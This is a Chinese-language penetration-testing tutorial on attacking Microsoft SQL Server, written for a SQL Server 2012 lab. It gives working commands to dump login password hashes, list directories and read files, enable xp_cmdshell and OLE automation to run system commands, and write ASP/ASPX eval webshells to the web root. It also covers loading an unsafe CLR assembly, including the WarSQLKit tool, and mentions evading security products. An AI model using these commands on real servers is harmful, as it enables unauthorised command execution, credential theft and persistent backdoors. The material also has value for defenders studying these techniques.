实验环境用的sql server 2012
基本概念
Sql Server
SQL Server 是Microsoft 公司推出的关系型数据库管理系统。
msSQL
msSQL，也就是MSSQL，指微软的SQLServer数据库服务器。
组件
组件是对数据和方法的简单封装，可以理解为对象。有着自己的属性和方法。
属性是组件数据的简单访问者，而方法就是组件的一些简单功能。
OLE
OLE是一种面向对象的技术，利用这种技术可重复使用COM组件。
渗透命令
查看版本
select @@version
查看用户hash
select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins
查看sql server 认证方式
select SERVERPROPERTY('IsIntegratedSecurityOnly')
查看是否是管理员
select is_srvrolemember('sysadmin')
查看主机名
select host_name();
查看服务器名
select @@servername;
查看子目录结构
execute master..xp_dirtree 'e:\',1,1 列出e盘目录、文件
image.png
depth设置为1，表示显示所以子目录
file设置为1，表示显示子目录的文件
判断文件是否存在
exec master.sys.xp_fileexist 'e:\web\tmp.asp'
判断站库分离
select host_name(); 查询客户端主机名
select @@servername; 查询服务端主机名
查询文件内容
create table files(line varchar(1024))
bulk insert files from 'e:\1.txt'
select * from files
image.png
存储过程
存储过程是一组为了完成某个特定功能的SQL语句。一次编译永久生效。然后用户通过指定存储过程的名字以及参数来执行。
而存储过程分为：
系统存储过程
本地存储过程
扩展存储过程
远程存储过程
临时存储过程
扩展存储过程
以xp_开头，使用外部程序语言编写的存储过程。如：xp_cmdshell
xp_cmdshell 执行命令
sql server 2005版本以后默认关闭，需要开启后使用
启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行系统命令
exec master..xp_cmdshell 'whoami'
也可以写入webshell
exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'
补充：
实战中如果出现调用CreateProcess失败，一般为拦截了xp_cmdshell的调用。
系统存储过程
以sp_开头，进行系统的设定。如：sp_oacreate、sp_oamethod
查看微软官方文档为：
sp_oacreate是创建 OLE 对象的实例。
sp_oamethod是调用一个 OLE 对象的方法。
sp_oacreate 执行命令
启用SP_OACREATE
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
需要注意的是该存储过程执行命令无回显，所以将命令执行的结果输出到文件里。
两个语句中分别使用了wscript.shell、Shell.Application两个对象，而一些防护产品对该对象比较敏感。
所以有了第二种方法：
同样也是利用sp_oacreate，但使用的是scripting.filesystemobject对象，该对象用来操作一些文件。
在知道web绝对路径的情况下，可利用该对象写入webshell。也是解决不出网的一张方式。
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>'
image.png
可有效绕过某些防护。
本地存储过程
本地存储过程指用户创建的自定义存储过程。如：CLR
CLR，公共语言基础结构（Common Language Infrastructure），用来支持不同编程语言。sql server集成了该组件，可以通过sql server编写CLR来执行系统命令。
编写过程参考：https://y4er.com/post/mssql-execute-command-with-clr-assemblies/
CLR执行系统命令
启用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
将数据库标记为安全
ALTER DATABASE master SET TRUSTWORTHY ON;
利用SQL语句导入程序集
CREATE ASSEMBLY [Database1]
AUTHORIZATION [dbo]
FROM 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WITH PERMISSION_SET = UNSAFE;
GO
创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
执行系统命令
exec dbo.ExecCommand "whoami"
image.png
WarSQLKit 工具
在看CLR编写的过程中，顺便看到有前辈开发了针对mssql CLR进行利用的渗透工具。
也就是WarSQLKit。github可下载源码。
启用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
将数据库标记为安全
ALTER DATABASE master SET TRUSTWORTHY ON;
利用SQL语句导入程序集
CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo]
FROM 0x4D5A900003000000.......
WITH PERMISSION_SET = UNSAFE;
GO
注：这里说一下该十六进制非常长，在WarSQLKit.dacpac文件内
解压该文件，源码存放在model.xml文件中
创建存储过程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
执行系统命令
EXEC sp_cmdExec 'whoami';
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